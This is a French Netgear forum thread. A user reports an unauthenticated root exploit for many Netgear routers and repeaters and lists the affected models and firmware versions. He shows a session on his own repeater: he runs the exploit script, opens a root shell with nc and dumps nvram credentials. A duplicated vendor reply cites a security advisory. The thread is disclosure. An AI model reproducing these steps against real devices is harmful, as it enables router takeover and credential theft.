Ce sujet a été marqué résolu et fermé aux nouveaux messages en raison d’une inactivité. Nous espérons que vous rejoindrez la conversation en répondant à un sujet ouvert ou en créant un nouveau.
Il y a quelques jours, un exploit pour une vulnérabilité critique a été publié sur Internet. Celle-ci affecte de nombreux modèles de routeur ou repeteur Netgear. Elle permet de prendre l'accès complet sur l'appareil, sans authentification préalable. Je n'ai pas trouvé de CVE associé à cette vulnérabilité.
WNDR3700v3 versions 1.0.0.42, 1.0.0.38, and 1.0.0.18
WNDR4000 versions 1.0.2.10, 1.0.2.4, and 1.0.0.82
WNDR4500v2 versions 1.0.0.60 and 1.0.0.72
WNR1000v3 version 1.0.2.72
WNR2000v2 versions 1.2.0.8, 1.2.0.4NA, and 1.0.0.40
WNR3500 version 1.0.36NA
WNR3500L versions 1.2.2.48NA, 1.2.2.44NA, and 1.0.2.50
WNR3500Lv2 version 1.2.0.56
WNR834Bv2 version 2.1.13NA
Je l'ai testé aussi sur mon repeteur Wi-Fi WN3100RP version 1.0.0.20 et j'ai bien obtenu un shell root dessus :
$ python 48588 192.168.0.253
Automatically detected model WN3100RP and version 1.0.0.20
$ nc -v 192.168.0.253 8888
Connection to 192.168.0.253 8888 port [tcp/*] succeeded!
BusyBox v0.60.0 (2018.08.23-08:23+0000) Built-in shell (msh)
Enter 'help' for a list of built-in commands.
# cat /proc/version
Linux version 2.4.20 (rhaegar@sw-server-206) (gcc version 3.2.3 with Broadcom modifications) #18 Thu Aug 23 16:23:46 CST 2018
# nvram show | grep passwd
pptp_passwd=
pppoe2_west_passwd=flets
super_passwd=Geardog
bpa_passwd=
http_passwd=<redacted>
pppoe2_east_passwd=guest
ddns_passwd=
pppoe_passwd=
pppoe_tmp_passwd=
pppoe2_passwd=
# nvram show | grep passphrase
wla_temp_passphrase=
wla_passphrase_2=<redacted>
wla_passphrase_3=
wla_passphrase_4=
wla_passphrase=<redacted>
wla_temp_passphrase_2=
Cette vulnérabilité est extremement critique. D'après ZDI, Netgear a été mis au courant le 3 janvier 2020. Le second chercheur qui a trouvé la même vulnérabilité indépendamment l'a remontée début mai 2020. Or je ne vois aucun correctif pour mon repeteur Wi-Fi ou mon routeur N900, 6 mois plus tard !
Je poste donc ce message ici pour que Netgear publie au plus vite les firmwares correctifs.
Nous sommes conscients de la vulnérabilité et nous avons émis un avis de sécurité.
Nous avons également créé un fil de discussion sur la Communauté NETGEAR qui fournit des conseils sur la manière de déterminer si votre produit est touché.
Nous tiendrons ce fil de discussion à jour avec les nouvelles informations et les mises à jour dès qu'elles seront disponibles : Avis de sécurité important
Nous sommes conscients de la vulnérabilité et nous avons émis un avis de sécurité.
Nous avons également créé un fil de discussion sur la Communauté NETGEAR qui fournit des conseils sur la manière de déterminer si votre produit est touché.
Nous tiendrons ce fil de discussion à jour avec les nouvelles informations et les mises à jour dès qu'elles seront disponibles : Avis de sécurité important
